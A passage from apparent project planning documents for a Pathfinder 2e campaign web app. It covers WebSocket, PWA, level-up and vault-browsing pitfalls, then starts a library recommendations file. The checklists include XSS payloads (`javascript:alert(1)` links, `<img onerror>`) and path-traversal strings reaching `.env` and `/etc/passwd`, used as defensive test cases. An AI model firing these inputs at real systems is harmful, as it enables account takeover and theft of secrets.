- Per-event handlers read `socket.data.userId` — no re-decode
|
||||
- Authorization (does this user have rights to this action?) is per-event, but uses the cached userId — only DB lookups for role/membership, no JWT work
|
||||
- Add token-revocation table check ONLY on connect, not per event. Acceptable trade-off: revoked token stays valid until disconnect (~minutes to hours).
|
||||
- Implement a server-side "kick" admin action that disconnects sockets by userId for emergency revocation
|
||||
|
||||
**Warning signs:**
|
||||
- CPU spike during high-event-rate moments
|
||||
- Repeated JWT verify calls in profiler output
|
||||
- Adding new events requires copy-pasting auth code
|
||||
|
||||
**Phase to address:** Cross-cutting (Battle-Multi-Screen, Dice/Chat, GM-Live-Tools all add new events)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 18: WebSocket room cleanup leaks on disconnect
|
||||
|
||||
**What goes wrong:**
|
||||
Existing `connectedClients` Map (already noted in CONCERNS.md) grows because disconnects don't always remove entries cleanly. Add Battle rooms, Roll-Log rooms, Chat rooms → multiple maps, multiple leak paths. Server memory grows monotonically.
|
||||
|
||||
**Why it happens:**
|
||||
Custom client tracking duplicates Socket.io's built-in room tracking. Disconnect handler forgets one of the maps.
|
||||
|
||||
**How to avoid:**
|
||||
- Remove the custom `connectedClients` Map. Use Socket.io rooms exclusively. Rooms auto-cleanup on disconnect.
|
||||
- For "is user X online" queries, use `io.in(`user:${userId}`).fetchSockets()` rather than a custom map
|
||||
- Single disconnect handler does all cleanup; never spread cleanup across feature modules
|
||||
- Add a periodic health check that logs `io.sockets.sockets.size` — alert if it grows unboundedly
|
||||
|
||||
**Warning signs:**
|
||||
- `connectedClients.size > sockets.size` (drift)
|
||||
- Memory usage trends up over multi-day sessions
|
||||
- "Phantom" online users
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen (when adding battle rooms + display rooms)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 19: Mobile device sleeps during session, missing push and breaking WebSocket
|
||||
|
||||
**What goes wrong:**
|
||||
Player puts phone face-down on table. Phone sleeps after 30s. WebSocket disconnects. GM sends "Würfel Reflex-Save" push. Phone is asleep — push wakes it briefly, notification appears in tray, but the app's WebSocket is still disconnected. Player taps notification, app opens, but the app shows stale state because the reconnect-and-refetch flow takes 3+ seconds.
|
||||
|
||||
**Why it happens:**
|
||||
Mobile OSes aggressively suspend background tabs and apps. WebSocket through a sleeping phone is dead. Push wakes the OS but not the app's network state.
|
||||
|
||||
**How to avoid:**
|
||||
- On `visibilitychange` → `visible`, immediately: check WebSocket connection state, reconnect if needed, refetch current campaign + battle state via REST
|
||||
- Show a clear "Verbinde wieder..." indicator during reconnect, hide all stale data behind it
|
||||
- Wake Lock API for active turn: when it's the player's turn, acquire a wake lock so screen stays on. Release when turn ends. Document battery impact.
|
||||
- Push payload includes an `action` field: notification tap deep-links to the relevant page (battle, dice prompt, chat) so reconnect happens at the right place
|
||||
- Service worker handles push by displaying the notification AND optionally updating an IndexedDB queue of pending actions, so when the app reopens, it knows what was pending
|
||||
|
||||
**Warning signs:**
|
||||
- "I tapped the push but the app is in the wrong place"
|
||||
- Stale data on app reopen
|
||||
- Battery drain (over-eager wake lock or polling)
|
||||
|
||||
**Phase to address:** PWA / Mobile-First polish
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 20: Reconnect storm when Wi-Fi at the table flaps
|
||||
|
||||
**What goes wrong:**
|
||||
Wi-Fi at the gaming table briefly drops (router hiccup, neighbor microwaving). All 5 player phones + GM laptop + table display all disconnect simultaneously. Wi-Fi recovers. All 7 clients try to reconnect at the same moment. With Socket.io's default backoff, they all hit the server within 1 second. Server is fine for 7 clients, but if the server is also doing CPU-heavy work (e.g., translation API, DB query), the spike causes a cascade of slow connects, ack timeouts, more retries.
|
||||
|
||||
**Why it happens:**
|
||||
Same network, same event → synchronized reconnects. No jitter in the backoff.
|
||||
|
||||
**How to avoid:**
|
||||
- Configure Socket.io client with randomized backoff: `reconnectionDelay: 1000, reconnectionDelayMax: 5000, randomizationFactor: 0.5`
|
||||
- Server: rate-limit connection attempts per IP (the existing concern in CONCERNS.md flags this — fix in this milestone since we're adding more event load)
|
||||
- Connection State Recovery cushions the impact: if the disconnect was < 2min, the recovered session reuses state, no full re-init needed
|
||||
- Separate "static asset" CDN/path from API path so SW can serve cached UI even when API is overloaded
|
||||
|
||||
**Warning signs:**
|
||||
- All clients lose connection at once and recovery is slow
|
||||
- Server logs show simultaneous connect bursts
|
||||
- Long "Verbinde..." spinner after a brief outage
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen (where reconnect resilience matters most), Mobile/PWA
|
||||
|
||||
---
|
||||
|
||||
## Minor Pitfalls
|
||||
|
||||
### Pitfall 21: Manifest icon traps (maskable, sizes, splash)
|
||||
|
||||
**What goes wrong:**
|
||||
Android shows a white square inside the app icon (because non-maskable icon used in maskable slot). iOS doesn't show a splash screen (because no `apple-touch-icon` link tags or `apple-touch-startup-image`). PWA looks unprofessional or non-installable.
|
||||
|
||||
**How to avoid:**
|
||||
- Provide both `"any"` and `"maskable"` icon variants. Maskable icons must have safe-zone padding (icon content within 80% diameter circle).
|
||||
- Sizes required: 192x192, 512x512, plus apple-touch-icon 180x180
|
||||
- iOS splash screens are device-specific; use a generator or a single-image fallback
|
||||
- Test on real iOS Safari + Android Chrome before claiming "PWA-ready"
|
||||
|
||||
**Phase to address:** PWA
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 22: Chat/roll history queries are not indexed for time-paginated reads
|
||||
|
||||
**What goes wrong:**
|
||||
`SELECT * FROM ChatMessage WHERE campaignId = X ORDER BY createdAt DESC LIMIT 50` is fast at 1k messages, slow at 100k. Server hot-path during scrollback.
|
||||
|
||||
**How to avoid:**
|
||||
- Composite index `@@index([campaignId, createdAt(sort: Desc)])` on ChatMessage and RollLog from day one
|
||||
- Use cursor-based pagination (`WHERE createdAt < cursor ORDER BY createdAt DESC LIMIT 50`) not offset-based
|
||||
- Optionally archive messages older than 1 year to a separate table (premature for this scale)
|
||||
|
||||
**Phase to address:** Dice/Chat
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 23: "Offline" PWA shows login screen because auth check fails offline
|
||||
|
||||
**What goes wrong:**
|
||||
Player opens app on the train (no Wi-Fi). PWA loads (cached shell), but the auth check (`GET /api/auth/me`) fails → app redirects to login → login API call also fails → user sees broken login screen and assumes app is dead.
|
||||
|
||||
**How to avoid:**
|
||||
- App-shell loads UI optimistically using cached JWT validity (decode locally, check `exp`)
|
||||
- Network errors on auth-check are NOT treated as "logged out" — they're "offline, using last-known identity"
|
||||
- Distinct error states: "Nicht eingeloggt" vs "Offline — gecachte Daten verfügbar"
|
||||
- Login form shows "Offline" banner if API unreachable, doesn't try to log in
|
||||
|
||||
**Phase to address:** PWA
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 24: Display screen aspect ratio mismatch on the table-embedded screen
|
||||
|
||||
**What goes wrong:**
|
||||
Built and tested on 16:9 laptop. Tabletop screen is some weird embedded panel (maybe 4:3, maybe portrait). Map is cropped or pillarboxed badly. Tokens look wrong.
|
||||
|
||||
**How to avoid:**
|
||||
- Display mode uses `meta viewport` to lock to actual screen pixels
|
||||
- Map renders to a fit-to-window container with letterboxing background, not absolute pixels
|
||||
- Detect aspect ratio at load and adjust default zoom; provide GM control to "frame to display"
|
||||
- Get the actual screen specs from the user before shipping
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 25: GM-tool safety — accidental "set HP to 0 for all party"
|
||||
|
||||
**What goes wrong:**
|
||||
GM has bulk-control tools ("apply Frightened to all enemies"). Slips and clicks "all party" instead of "all enemies". Whole party drops to 0 HP, conditions piled on. Without confirmation, undoable change is a disaster mid-fight.
|
||||
|
||||
**How to avoid:**
|
||||
- Destructive bulk actions require confirmation modal naming the affected entities
|
||||
- All GM-live-tool actions are in a transaction that emits a single broadcast — recoverable by the ctrl-Z action that undoes the transaction
|
||||
- Keep an in-memory "last action" stack (last 5 actions) on GM client with one-click undo
|
||||
- High-impact actions (set HP to 0, kill, end battle) require a typed confirmation ("ALLE TÖTEN" must be typed)
|
||||
|
||||
**Phase to address:** GM-Live-Tools
|
||||
|
||||
---
|
||||
|
||||
## Technical Debt Patterns
|
||||
|
||||
| Shortcut | Immediate Benefit | Long-term Cost | When Acceptable |
|
||||
|----------|-------------------|----------------|-----------------|
|
||||
| Client-side dice rolls | Instant feedback, no server roundtrip | Cheating possible, no audit, no replay | **Never** for canonical rolls — OK as preview/shadow only |
|
||||
| `dangerouslySetInnerHTML` for chat markdown | Easy to render, all features work | XSS, account takeover via chat | Never |
|
||||
| Cache API for authenticated responses | Simple offline support | User-data leak across logins | Never — use IndexedDB user-scoped |
|
||||
| `skipWaiting()` + `clients.claim()` in SW | Instant updates | Mid-session reload kills state | Never in this app |
|
||||
| Storing final ability score only (no boost history) | Simpler model | Can't undo level-ups, can't audit | Never — store boost decisions |
|
||||
| Custom `connectedClients` Map | "Easy" presence tracking | Memory leaks, drift | Never — use `io.in(room).fetchSockets()` |
|
||||
| `db push` instead of `prisma migrate dev` | Skips writing migration | Lost migration history, prod drift | Never (already enforced by CLAUDE.md) |
|
||||
| `any` types for level-up wizard state | Move fast through prototyping | Bugs in branching wizards are silent | Only for spike branches that get rewritten |
|
||||
| Reading vault files with raw user paths | Simple impl | Path traversal | Never |
|
||||
| Single `RollLog` table without index | Works at small scale | Slow scrollback at 50k+ rolls | Acceptable until index strategy decided in same phase |
|
||||
|
||||
---
|
||||
|
||||
## Integration Gotchas
|
||||
|
||||
| Integration | Common Mistake | Correct Approach |
|
||||
|-------------|----------------|------------------|
|
||||
| Web Push / VAPID | Regenerate VAPID keys on every deploy | Persist keys in `.env`, treat as secret, document in `.env.example` |
|
||||
| Service Worker + Socket.io | Try to handle WebSocket inside SW | SW is for static cache + push only; WebSocket lives in the page, reconnects on visibility |
|
||||
| iOS PWA Push | Test only in Safari tab, not installed PWA | iOS push requires home-screen install + standalone display mode |
|
||||
| Obsidian vault sync | Read directly from filesystem during edit | Vault contents may change mid-read; use a stable snapshot (git ref or mtime guard) |
|
||||
| Pathbuilder import → in-app level-up | Treat imported character as authoritative for all levels then layer level-ups | Snapshot the import as level N, persist explicit level-up decisions only for level N+1 onward |
|
||||
| Claude API (existing) for new content (level-up flavor text) | Add to critical path | Cache aggressively, never block UI on translation, fallback to English |
|
||||
| Postgres + Prisma 7 | Default `Restrict` on relations causes mysterious failures on parent delete | Decide explicit `onDelete` per relation, document in schema comment |
|
||||
|
||||
---
|
||||
|
||||
## Performance Traps
|
||||
|
||||
| Trap | Symptoms | Prevention | When It Breaks |
|
||||
|------|----------|------------|----------------|
|
||||
| Unbounded `RollLog` query without index | Chat scrollback slows over weeks | Composite index on (campaignId, createdAt DESC); cursor pagination | ~50k rolls per campaign |
|
||||
| Recursive embed render without depth cap | Some vault notes hang the page | Cycle detection + max depth 3 | One cyclic note in vault |
|
||||
| Per-event JWT verify | Server CPU spike during combat rounds | Decode once on connect, cache userId on socket | ~20 events/sec sustained |
|
||||
| Broadcast every token nudge | Network thrash, mobile battery drain | Debounce drag events (60ms), emit final position only on drop | Continuous drag at 60fps × N players |
|
||||
| All clients reconnect at once after Wi-Fi flap | Server connect-burst lag | Randomized backoff, rate limit | Network flap with 5+ clients |
|
||||
| Translation lookup on every character read (existing) | Slow character sheet load | Pre-cache on seed, batch missing on load (already in CONCERNS.md) | 50+ unique items per character |
|
||||
| SW Cache for authenticated API responses | Stale data, leak between users | Don't cache auth responses in Cache API | First multi-user device |
|
||||
|
||||
---
|
||||
|
||||
## Security Mistakes
|
||||
|
||||
| Mistake | Risk | Prevention |
|
||||
|---------|------|------------|
|
||||
| Display-screen authenticated as GM | Player at table opens DevTools, sees GM-only data | Issue display-only short-lived token; server-side filter GM data per channel |
|
||||
| Markdown chat with raw HTML | Account takeover via injected `<img onerror>` | `react-markdown` without `rehype-raw`, urlTransform, no `dangerouslySetInnerHTML` |
|
||||
| Client-rolled dice broadcast as authoritative | Players spoof crits | All rolls server-side with `crypto.randomInt`, persist seed |
|
||||
| Vault path from wikilink not sanitized | Read of `/etc/passwd` or `.env` | Resolve+verify path starts with vault root; whitelist extensions |
|
||||
| JWT in localStorage XSS-readable | Stolen token | Already a known risk; mitigate via CSP, sanitize all user-rendered content. Future: HttpOnly cookie + CSRF |
|
||||
| Level-up endpoint accepts arbitrary level value | Player jumps from level 4 to level 20 | Server validates level == currentLevel + 1; level-up requires GM approval flag if going up multiple |
|
||||
| Push notification body contains sensitive data (HP, location) | Notification visible on lock screen leaks info | Generic notification body ("Eine Aktion erwartet dich"), details only after app open |
|
||||
| Unrestricted vault file size read | OOM via 1GB markdown file | Cap read at 5MB, refuse larger; report file too large gracefully |
|
||||
| Display URL shareable | Anyone with URL sees the battle | Display URL contains short-lived token, expires when battle ends |
|
||||
|
||||
---
|
||||
|
||||
## UX Pitfalls
|
||||
|
||||
| Pitfall | User Impact | Better Approach |
|
||||
|---------|-------------|-----------------|
|
||||
| Push permission prompt on first load | User reflexively denies → stuck on denied | Ask after explicit user opt-in tap, show why |
|
||||
| "Update available" banner during active battle | Disrupts session if reload triggered | Suppress during active battle; queue for after |
|
||||
| Level-up UI loses state on accidental tab close | Player redoes 20 minutes of choices | Persist wizard state every step; reload resumes |
|
||||
| Dice roll result appears in chat but page is on different tab | Player misses the outcome | Service Worker push + tab title flash + sound (opt-in) |
|
||||
| Display screen shows last-frame after disconnect | GM thinks display is fine, players see frozen state | Disconnect overlay on display screen with reconnect indicator |
|
||||
| Vault note rendering shows raw `[[wikilinks]]` on parse failure | Player sees broken syntax | Graceful fallback: render as text + warning icon, not as broken markdown |
|
||||
| Wake lock on always | Phone overheats, battery drains | Wake lock only during active turn; release on turn end |
|
||||
| Boost UI accepts duplicate boost in same set | Player applies all 4 to STR | Greyed out / disabled state with tooltip explaining why |
|
||||
| Cached character sheet offline shows old HP | Player thinks they have HP they don't | Mark as "Offline — letzte Aktualisierung vor X Min" |
|
||||
|
||||
---
|
||||
|
||||
## "Looks Done But Isn't" Checklist
|
||||
|
||||
Things that appear complete in dev but fail in real use.
|
||||
|
||||
- [ ] **PWA Install:** Often missing maskable icons, splash screens, and apple-touch-icon — verify on real iOS + Android, not just Lighthouse
|
||||
- [ ] **Web Push:** Often missing 410-Gone cleanup — verify expired subs are pruned by sending a test push to a re-installed browser
|
||||
- [ ] **Offline mode:** Often missing offline auth fallback — verify cold-load on airplane mode shows app, not login error
|
||||
- [ ] **Service Worker update:** Often missing manual update prompt — verify deploy of new version doesn't auto-reload mid-session
|
||||
- [ ] **Display screen:** Often leaks GM data via unfiltered WebSocket frames — verify with `socket.onAny(console.log)` in incognito
|
||||
- [ ] **Dice rolls:** Often computed client-side — verify server-side roll by intercepting the fetch and changing the result; UI must reject
|
||||
- [ ] **Chat markdown:** Often allows javascript: URLs — verify `[click](javascript:alert(1))` is neutralized
|
||||
- [ ] **Level-up boost:** Often missing 18-cap rule — verify boosting a stat at 18+ adds +1, not +2
|
||||
- [ ] **Level-up undo:** Often loses dependent feats — verify retraining a prereq feat surfaces broken downstream feats
|
||||
- [ ] **Skill increase:** Often loses history — verify undo of a level-15 increase knows which skill was chosen
|
||||
- [ ] **Wikilink resolution:** Often picks first match silently — verify ambiguous links are surfaced
|
||||
- [ ] **Embed loops:** Often crash on cyclic vault — verify with a deliberately cyclic test vault
|
||||
- [ ] **Path traversal:** Often allows `..` — verify `?path=../../server/.env` is rejected
|
||||
- [ ] **Reconnect:** Often loses missed messages — verify chat sent during a 30s disconnect appears after reconnect
|
||||
- [ ] **Push payload:** Often contains sensitive data — verify lock-screen notification doesn't leak HP/location
|
||||
- [ ] **Backups:** Often missing for VAPID keys + JWT_SECRET — verify they're in the `.env.example` doc and the deployment runbook
|
||||
|
||||
---
|
||||
|
||||
## Recovery Strategies
|
||||
|
||||
When pitfalls slip through, here's how to recover.
|
||||
|
||||
| Pitfall | Recovery Cost | Recovery Steps |
|
||||
|---------|---------------|----------------|
|
||||
| VAPID key lost / rotated | HIGH | Notify all users; ask each to disable + re-enable notifications in settings (resubscribes); accept silent failure for users who don't act |
|
||||
| Cache leaks user data across logins | MEDIUM | Force SW unregister via remote-config flag; client clears all caches on next load; bump SW version to invalidate; rotate JWT secret if data leak suspected |
|
||||
| Level-up corrupted character (boost cap or feat dep) | HIGH | Append-only history table is the lifeline: replay history with corrected logic; if no history, manual GM correction via admin UI |
|
||||
| Display screen showed GM data | HIGH | Audit server logs for affected battles; rotate display tokens; review WebSocket payloads with a recorded session capture |
|
||||
| Cheated dice roll detected post-hoc | MEDIUM | Rolls persisted server-side: GM can review log, retroactively correct the affected encounter |
|
||||
| Reconnect lost chat message | LOW | REST endpoint `since=lastSeenId` lets client refetch on reconnect; user can scroll back |
|
||||
| SW cached old broken JS that breaks app | MEDIUM | Add a `/api/health/version` check; if returned version differs from SW-cached version + threshold, force unregister + reload |
|
||||
| Wikilink resolution broken across vault rename | LOW | Re-index vault on detection; show "linked notes have moved" warning |
|
||||
| Embed loop hung the tab | LOW | Hard reload; future loads use cycle detection (one-time fix) |
|
||||
|
||||
---
|
||||
|
||||
## Pitfall-to-Phase Mapping
|
||||
|
||||
How roadmap phases should address these pitfalls.
|
||||
|
||||
| Pitfall | Prevention Phase | Verification |
|
||||
|---------|------------------|--------------|
|
||||
| 1. SW cache leaks user data | PWA | Multi-user shared device test passes |
|
||||
| 2. Mid-session SW force update | PWA | Deploy during active local battle test — no reload |
|
||||
| 3. iOS push silent failure | PWA | iOS PWA install + receive-push test on real device |
|
||||
| 4. VAPID key loss | PWA | `.env.example` documents key persistence; backup runbook exists |
|
||||
| 5. Display screen GM-data leak | Battle-Multi-Screen | DevTools-on-display test sees no GM-only fields |
|
||||
| 6. Client-side dice tampering | Dice/Chat | Forge a result client-side, server rejects |
|
||||
| 7. Markdown chat XSS | Dice/Chat | Inject `<img onerror>` and `[click](javascript:...)`, both neutralized |
|
||||
| 8. Boost 18-cap | Level-Up | Unit test: boost STR 18 → STR 19 (not 20) |
|
||||
| 9. Recompute side effects | Level-Up | Test: level-up at low HP doesn't reset HP to max |
|
||||
| 10. Feat retrain orphans | Level-Up | Retrain prereq feat → dependent feats flagged |
|
||||
| 11. Skill increase history | Level-Up | Test: undo level-15 increase knows which skill |
|
||||
| 12. Wikilink ambiguity | Obsidian | Test vault with two same-basename notes; ambiguity surfaced |
|
||||
| 13. Embed loops | Obsidian | Cyclic vault test renders without hang |
|
||||
| 14. Vault path traversal | Obsidian | `?path=../../etc/passwd` rejected |
|
||||
| 15. Socket.io message ordering | Battle-Multi-Screen + Dice/Chat (cross-cutting) | 30s disconnect test: missed events recovered |
|
||||
| 16. Cascading deletes | All phases adding tables | Schema review: every `onDelete` documented |
|
||||
| 17. Per-event JWT overload | Cross-cutting (touched in every event-adding phase) | Profiler shows JWT verify count = connection count, not event count |
|
||||
| 18. WebSocket room leaks | Battle-Multi-Screen | Memory profile over 24h shows no monotonic growth |
|
||||
| 19. Mobile sleep / push wakeup | PWA / Mobile-First polish | Push tap deep-link reaches correct page on cold start |
|
||||
| 20. Reconnect storm | Battle-Multi-Screen + PWA | Wi-Fi flap test with 5 clients; staggered reconnect |
|
||||
| 21. Manifest icon traps | PWA | Install on real iOS + Android; icons render correctly |
|
||||
| 22. Chat/roll index | Dice/Chat | EXPLAIN ANALYZE on paginated query shows index use |
|
||||
| 23. Offline auth fallback | PWA | Airplane mode cold load shows app, not login error |
|
||||
| 24. Display aspect ratio | Battle-Multi-Screen | Test on actual table screen |
|
||||
| 25. GM bulk-action footgun | GM-Live-Tools | Destructive action requires confirmation; undo works |
|
||||
|
||||
---
|
||||
|
||||
## Cross-Cutting: Phases that Cannot Be Skipped Without Pain
|
||||
|
||||
Three patterns must be present in **every** phase of this milestone:
|
||||
|
||||
1. **WebSocket discipline.** Each new event needs: server-side validation → server-side persist (if historical) → broadcast (if needed) → client-side reconcile-on-reconnect. Gateway is the bottleneck — make it boringly consistent.
|
||||
|
||||
2. **PostgreSQL referential thinking.** Each new table needs: explicit `onDelete` decision, composite indexes for query patterns, transaction wrapping for multi-table writes. The CharactersService (1454 lines, no tests, no transactions) is the cautionary tale.
|
||||
|
||||
3. **Test coverage on critical paths.** The codebase has zero tests today. Every pitfall above is detectable by a test. The level-up math, the dice parser, the wikilink resolver, the path-traversal guard — these are ALL pure functions or near-pure functions. Test them. The death-spiral logic in HP/Dying/Wounded is already a flagged risk in CONCERNS.md; level-up adds another such mechanism. Don't ship pitfall-prone code with no test net.
|
||||
|
||||
---
|
||||
|
||||
## Sources
|
||||
|
||||
PWA / Service Worker / Cache:
|
||||
- [When 'Just Refresh' Doesn't Work: Taming PWA Cache Behavior](https://iinteractive.com/resources/blog/taming-pwa-cache-behavior)
|
||||
- [Whatever happened to JavaScript Service Workers? — Mastro Blog 2026](https://mastrojs.github.io/blog/2026-03-09-whatever-happened-to-js-service-workers/)
|
||||
- [Progressive Web Apps 2026: PWA Performance Guide](https://www.digitalapplied.com/blog/progressive-web-apps-2026-pwa-performance-guide)
|
||||
- [Strategies for Service Worker Caching for Progressive Web Apps — Hasura](https://hasura.io/blog/strategies-for-service-worker-caching-d66f3c828433)
|
||||
- [Service Worker as auth relay — ITNEXT](https://itnext.io/using-service-worker-as-an-auth-relay-5abc402878dd)
|
||||
- [Securing Tokens In A Progressive Web App](https://www.mckennaconsultants.com/securing-tokens-in-a-progressive-web-app/)
|
||||
|
||||
iOS Web Push:
|
||||
- [PWA iOS Limitations and Safari Support 2026 — MagicBell](https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide)
|
||||
- [Sending web push notifications in web apps and browsers — Apple Developer](https://developer.apple.com/documentation/usernotifications/sending-web-push-notifications-in-web-apps-and-browsers)
|
||||
- [Do Progressive Web Apps Work on iOS? Complete Guide 2026 — Mobiloud](https://www.mobiloud.com/blog/progressive-web-apps-ios)
|
||||
|
||||
Web Push / VAPID:
|
||||
- [Web Push Error 410 — Pushpad](https://pushpad.xyz/blog/web-push-error-410-the-push-subscription-has-expired-or-the-user-has-unsubscribed)
|
||||
- [Web Push errors explained (HTTP status codes) — Pushpad](https://pushpad.xyz/blog/web-push-errors-explained-with-http-status-codes)
|
||||
- [RFC 9749: VAPID for Web Push](https://www.rfc-editor.org/rfc/rfc9749.pdf)
|
||||
- [web-push library README](https://github.com/web-push-libs/web-push/blob/master/README.md)
|
||||
|
||||
Wake Lock / Battery:
|
||||
- [Screen Wake Lock PWA Demo — Progressier](https://progressier.com/pwa-capabilities/screen-wake-lock)
|
||||
- [Battery destroying web sockets — Home Assistant Android #6208](https://github.com/home-assistant/android/issues/6208)
|
||||
- [Android Battery Technical Quality Enforcement 2026](https://android-developers.googleblog.com/2026/03/battery-technical-quality-enforcement.html)
|
||||
|
||||
Socket.io:
|
||||
- [Connection state recovery — Socket.IO docs](https://socket.io/docs/v4/connection-state-recovery)
|
||||
- [Delivery guarantees — Socket.IO docs](https://socket.io/docs/v4/delivery-guarantees)
|
||||
- [Performance tuning — Socket.IO docs](https://socket.io/docs/v4/performance-tuning/)
|
||||
- [Scaling Socket.IO challenges — Ably](https://ably.com/topic/scaling-socketio)
|
||||
- [Backpressure in WebSocket Streams](https://skylinecodes.substack.com/p/backpressure-in-websocket-streams)
|
||||
- [Middlewares — Socket.IO docs](https://socket.io/docs/v4/middlewares/)
|
||||
|
||||
PF2e Rules:
|
||||
- [Attribute Boosts — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2110&Redirected=1)
|
||||
- [Skill Increases — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2109&Redirected=1)
|
||||
- [Archetypes — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2127&Redirected=1)
|
||||
- [Free Archetype variant — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2751&Redirected=1)
|
||||
- [Dedication — Archives of Nethys](https://2e.aonprd.com/Traits.aspx?ID=572)
|
||||
- [Paizo Forums: Archetypes and Additional Feats — known edge cases](https://paizo.com/threads/rzs434lp?Archetypes-and-Additional-Feats=)
|
||||
|
||||
Obsidian / Wikilinks:
|
||||
- [Obsidian wikilink resolution rules — gist by dhpwd](https://gist.github.com/dhpwd/9bb86c53b69cb63e09ccca42e3bf924c)
|
||||
- [Add settings to control link resolution mode — Obsidian Forum](https://forum.obsidian.md/t/add-settings-to-control-link-resolution-mode/69560)
|
||||
- [Inconsistent Treatment of Wikilink Path — Obsidian Forum](https://forum.obsidian.md/t/inconsistent-treatment-of-wikilink-path/112694)
|
||||
|
||||
Markdown XSS:
|
||||
- [Secure Markdown Rendering in React — HackerOne](https://www.hackerone.com/blog/secure-markdown-rendering-react-balancing-flexibility-and-safety)
|
||||
- [React Markdown Complete Guide 2025 — Strapi](https://strapi.io/blog/react-markdown-complete-guide-security-styling)
|
||||
- [DOMPurify GitHub](https://github.com/cure53/DOMPurify)
|
||||
|
||||
Prisma / Postgres:
|
||||
- [Referential actions — Prisma Documentation](https://www.prisma.io/docs/v6/orm/prisma-schema/data-model/relations/referential-actions)
|
||||
- [API with NestJS #135. Referential actions and foreign keys — Wanago](https://wanago.io/2023/11/27/api-nestjs-postgresql-prisma-referential-actions/)
|
||||
|
||||
Internal context:
|
||||
- `.planning/PROJECT.md`
|
||||
- `.planning/codebase/CONCERNS.md` (HP/Dying race, oversized service, missing tests, gateway auth minimal)
|
||||
- `.planning/codebase/TESTING.md` (zero test coverage today — directly motivates the cross-cutting test discipline above)
|
||||
|
||||
---
|
||||
|
||||
*Pitfalls research for: Dimension47 milestone — PWA + multi-screen battle + extended Socket.io + Obsidian read-only vault + full PF2e Level-Up*
|
||||
*Researched: 2026-04-27*
|
||||
215
.planning/research/STACK.md
Normal file
215
.planning/research/STACK.md
Normal file
@@ -0,0 +1,215 @@
|
||||
# Stack Research
|
||||
|
||||
**Domain:** TTRPG campaign management — additions for next milestone (PWA + multi-screen battle + extended WS + Obsidian browser + Level-Up)
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH (versions verified against Context7 + official npm/changelog; all additions sit on top of locked NestJS 11 / React 19 / Prisma 7 / Socket.io 4 stack)
|
||||
|
||||
> Scope: This file recommends ONLY new libraries/patterns to add. The locked existing stack (NestJS 11.0.1, React 19.2.0, Prisma 7.2.0, PostgreSQL, Socket.io 4.8.3, Tailwind v4.1.18, Zustand 5, TanStack Query 5, axios, framer-motion, lucide-react, class-validator, JWT, @anthropic-ai/sdk) is documented in `.planning/codebase/STACK.md` and is NOT re-evaluated.
|
||||
|
||||
## Recommended Stack
|
||||
|
||||
### Core Additions
|
||||
|
||||
| Technology | Version | Purpose | Why Recommended |
|
||||
|------------|---------|---------|-----------------|
|
||||
| `vite-plugin-pwa` | ^1.2.0 | PWA shell, manifest injection, service worker generation, Workbox bundling | The de-facto Vite PWA plugin. v1.0.1 added explicit Vite 7 support (project is on Vite 7.2.4); v1.2.0 (Nov 2025) is current. Provides `useRegisterSW` hook from `virtual:pwa-register/react` for the existing React 19 client — slots in without touching App shell. Use `injectManifest` strategy so we can hand-author the service worker (push handler + custom REST cache rules) instead of being constrained by `generateSW`. |
|
||||
| `workbox-precaching` `workbox-routing` `workbox-strategies` `workbox-expiration` `workbox-cacheable-response` | ^7.3.0 (whatever vite-plugin-pwa pulls in) | Caching primitives for the custom service worker | When using `injectManifest`, these are dev-deps (peer deps of vite-plugin-pwa). Provides `precacheAndRoute(self.__WB_MANIFEST)`, `NetworkFirst` (REST endpoints), `CacheFirst` (immutable assets, vault images), `StaleWhileRevalidate` (translation strings). |
|
||||
| `@vite-pwa/assets-generator` | latest 0.x | Generate icon set + maskable icons + splash screens from one source SVG | Avoids hand-cropping ~20 icon variants. CLI step in build pipeline. Optional but high-leverage. |
|
||||
| `web-push` | ^3.6.7 | Server-side Web Push delivery (VAPID-signed) from NestJS | Reference Node.js library by `web-push-libs`, used by every Web Push tutorial and most production deployments. Provides `generateVAPIDKeys()`, `setVapidDetails()`, `sendNotification()`. Stable API (3.6.x line is multi-year mature; the relative quietness on the changelog is a sign of maturity, not abandonment). Installed and called from a new `notifications` NestJS module. |
|
||||
| `@dice-roller/rpg-dice-roller` | ^5.5.1 | Server-side dice notation parser and roller | The canonical TS-typed RPG dice library. Supports modifiers needed for PF2e: keep-highest/lowest, exploding (`!`), drop-lowest, rerolls (`r`, `ro`), success/failure pools, math expressions, and arbitrary number of dice. Persistent damage in PF2e is **not a special dice mechanic** — it's just `1d6` (or whatever) re-rolled at end of turn; the PF2e-specific layer (crit-doubling, fatal trait, persistent flagging, recovery DC) is application logic on top of the parser, not parser logic. Run dice on the **server** (auth'd, audit-loggable, anti-cheat). |
|
||||
| `react-markdown` | ^9.x | React component for safe markdown → React tree | Fits React 19 (uses `unified`/`remark`/`rehype` toolchain, no `dangerouslySetInnerHTML` needed). Plugin-extensible via `remarkPlugins` and `rehypePlugins`. The `components` prop is exactly what we need to inject custom React components for Wikilinks (clickable to internal vault routes), images (resolved against the vault base), and code blocks (Shiki). |
|
||||
| `remark-gfm` | ^4.x | GitHub-flavored markdown extensions (tables, strikethrough, task lists, autolinks) | Obsidian markdown is GFM-flavored. Drop-in remark plugin. |
|
||||
| `@portaljs/remark-wiki-link` | ^1.2.0 | Parse Obsidian-style `[[note]]` and `[[note\|alias]]` wikilinks into AST nodes | Maintained, supports `obsidian-short` and `obsidian-absolute` path resolution modes (matches actual Obsidian behavior, where `[[Foo]]` resolves to the shortest matching file). The original `remark-wiki-link` is too generic; the `flowershow`/`@portaljs` fork specifically targets Obsidian semantics. AST node lets `react-markdown` `components` mapping render as a custom `<WikiLink>` React component routing into our vault browser. |
|
||||
